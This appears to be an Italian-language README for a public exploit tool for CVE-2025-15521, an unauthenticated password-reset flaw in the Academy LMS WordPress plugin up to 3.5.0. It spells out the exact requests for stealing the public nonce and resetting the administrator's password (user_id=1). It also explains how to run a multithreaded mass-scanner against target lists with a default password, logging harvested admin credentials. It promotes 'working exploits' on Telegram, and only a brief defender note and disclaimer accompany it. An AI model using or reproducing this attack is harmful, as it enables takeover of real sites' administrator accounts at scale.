
Il plugin Academy LMS – WordPress LMS Plugin for Complete eLearning Solution per WordPress è vulnerabile all'escalation dei privilegi tramite account takeover in tutte le versioni fino alla 3.5.0 inclusa.
Il plugin Academy LMS – WordPress LMS Plugin for Complete eLearning Solution per WordPress è vulnerabile all'escalation dei privilegi tramite account takeover in tutte le versioni fino alla 3.5.0 inclusa.
_____ _____ _____ ___ ___ ___ ___ ___ ___ ___ ___ ___
| | | | __|___|_ | |_ | _|___|_ | | _| _|_ |_ |
| --| | | __|___| _| | | _|_ |___|_| |_|_ |_ | _|_| |_
|_____|\___/|_____| |___|___|___|___| |_____|___|___|___|_____|
📡 Segui @KNxploited — disclosure delle CVE ed exploit funzionanti, senza ritardi.
CVE-2025-15521 — Account takeover non autenticato tramite il reset della password in Academy LMS ≤ 3.5.0.
Il gestore del reset del plugin autentica la richiesta utilizzando solo un nonce esposto pubblicamente (academy_nonce) incorporato nelle pagine dei corsi. Nessun token viene inviato all'email dell'utente. Nessun controllo della sessione. Nessuna verifica dell'identità. Un attaccante che legge una qualsiasi pagina di un corso ottiene un nonce valido e poi resetta la password di qualsiasi account fornendo un user_id — incluso user_id=1 (l'amministratore del sito).
CVSS 3.1: 9.8 Critico — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CNA: Wordfence
GET /course/any-course/
→ L'HTML contiene: "academy_nonce": "a1b2c3d4e5" ← pubblico, nessuna autenticazione
POST /academy-retrieve-password/?user_id=1
new_password=<anything>
confirm_new_password=<anything>
security=a1b2c3d4e5 ← nonce accettato
→ Password per user_id=1 modificata. Nessuna email. Nessuna conferma.
Il gestore chiama wp_set_password() dopo aver verificato soltanto wp_verify_nonce() su un nonce trasmesso a ogni visitatore. Non viene verificato che l'utente che effettua la richiesta sia il proprietario dell'account da modificare.
academy_nonce validouser_id target con una password scelta/?author=N e la REST API (/wp-json/wp/v2/users)wordpress_logged_in/wp-admin — non solo una risposta 200pip install requests colorama urllib3
Richiede Python 3.8+. Consigliato Python 3.10+.
python CVE-2025-15521.py
Ti verrà richiesto di inserire:
File dell'elenco dei target (un URL per riga): list.txt
Thread (siti simultanei) [5]: 10
Percorso del gestore di reset [/academy-retrieve-password/]:
Percorso root dei corsi (fonte della chiave) [/course/]:
Max sottopagine /course/ da scansionare per sito [15]:
user_id da resettare (target del gestore) [1]:
Nuova password da impostare [adminSA]:
Timeout HTTP (secondi) [10]:
File di output [scan_results/academy_access_success.txt]:
File dei target — un URL per riga, schema opzionale:
https://target1.com
target2.com
https://target3.com/lms
Terminale — una riga per target, nessuna credenziale stampata:
[14:02:11] [https://target.com] KEY: OK | RESET: OK | ACCESS: 1 HIT
[14:02:13] [https://target2.com] KEY: FAIL | RESET: - | ACCESS: 0 HIT
File — solo le voci di accesso confermate:
[2025-04-18T14:02:11] https://target.com - account=admin pass=adminSA
Per i difensori:
Blocca o monitora le richieste POST non autenticate verso l'endpoint di reset:
POST *academy-retrieve-password* con parametro: security=
Controlla l'esposizione di rm_admin_order / academy_nonce nel sorgente delle pagine dei corsi del tuo tema. Se il nonce è visibile senza essere autenticati — la tua versione è vulnerabile.
Passaggi immediati per la correzione:
Questo strumento è destinato esclusivamente a ricerca sulla sicurezza autorizzata e test di penetrazione.
Eseguilo solo su sistemi di tua proprietà o per i quali disponi di un'autorizzazione scritta esplicita al test.
L'autore non si assume alcuna responsabilità per usi non autorizzati o illegali.
L'uso non autorizzato viola il CFAA, il CMA, la Direttiva UE 2013/40/UE, la legge saudita contro i crimini informatici n. M/17 e le leggi equivalenti in tutto il mondo.
Di Nxploited (Khaled Alenazi)
t.me/KNxploited · github.com/Nxploited
🔔 Segui @KNxploited su Telegram per le ultime CVE e le release degli exploit.